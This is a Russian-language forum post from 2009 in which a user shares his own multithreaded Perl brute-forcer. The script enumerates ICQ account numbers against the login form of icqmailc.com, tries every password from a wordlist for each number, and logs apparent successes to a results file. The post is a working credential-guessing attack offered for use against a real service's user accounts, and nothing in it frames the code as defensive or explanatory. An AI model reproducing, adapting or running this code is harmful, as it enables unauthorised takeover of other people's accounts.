29.01.2009, 00:18
|
|
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
forum.asechka.ru/showthread.php?p=489677
+ мой многопоточний брутер )
PHP код:
#! /usr/bin/perl -w
use IO::Socket;
use warnings;
use threads;
use threads::shared;
use Fcntl ':flock';
#=====] eLwaux [==================================================================
#================================================================================
my $iCQ : shared = 80000;
my $threads = 3;
#========================
#== start.. =======
#================================================================================
open (FILE, '<icqmailc.com.pass.txt') || die(" [-] icqmailc.com.pass.txt not found!\n");
my @pas : shared = <FILE>;
chomp(@pas);
close(FILE);
$time = time;
printf " [ ] started [".localtime()."]\n\n";
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
$time = time-$time;
printf "\n [ ] finished [".localtime()."]\n";
printf " [i] time elapsed: $time sec\n";
<stdin>;
sub Brut{
while($iCQ<999999) #iCQ num #999.999.999
{
{lock($iCQ);$num=$iCQ;$iCQ++;}
foreach my $psw(@pas){
$post = 'faction=login&domain=icqmail.com&username='.$num.'&password='.$psw.'&RememberMe=on';
$header =
"POST http://icqmailc.com/default.asp HTTP/1.1\r\n".
"Host: icqmailc.com\r\n".
"User-Agent: icq.icq (icq)\r\n".
"Referer: http://icqmailc.com\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Cookie: temp=; lang=en; domaincode=icq; remember%5Fme=secure=&Domain=icqmail%2Ecom&autologin=&Username=".$num."&value=TRUE; M2W3=height=800&width=1280; HasSideAd=no; MBXPercent=0%2E7; customguitemp=; welcome=\r\n".
"Content-Length: ".length($post)."\r\n\r\n".
"$post\r\n\r\n";
my $sock = sock();
print $sock $header;
while(my $answer = <$sock>){
if ($answer=~/Content-Length: (\d{1,9})/) {
if ($1<1000) {print ' [+] '.$num.' : '.$psw."\n";s2f('result.txt','++ '.$num.':'.$psw."\n");}
else {print ' - '.$num.' : '.$psw."\n";s2f('result.txt','- '.$num.':'.$psw."\n");}
last;
}
if($answer=~/<\/html>/){last;}
}
sleep(0.5);
close($sock);
}
}
}
#=============================================================================
#=============================================================================
sub s2f {
open(FILE, '>>'.$_[0]);
print FILE $_[1];
close(FILE);
}
#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'icqmailc.com',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}
#=============================================================================
#=============================================================================
|
|
|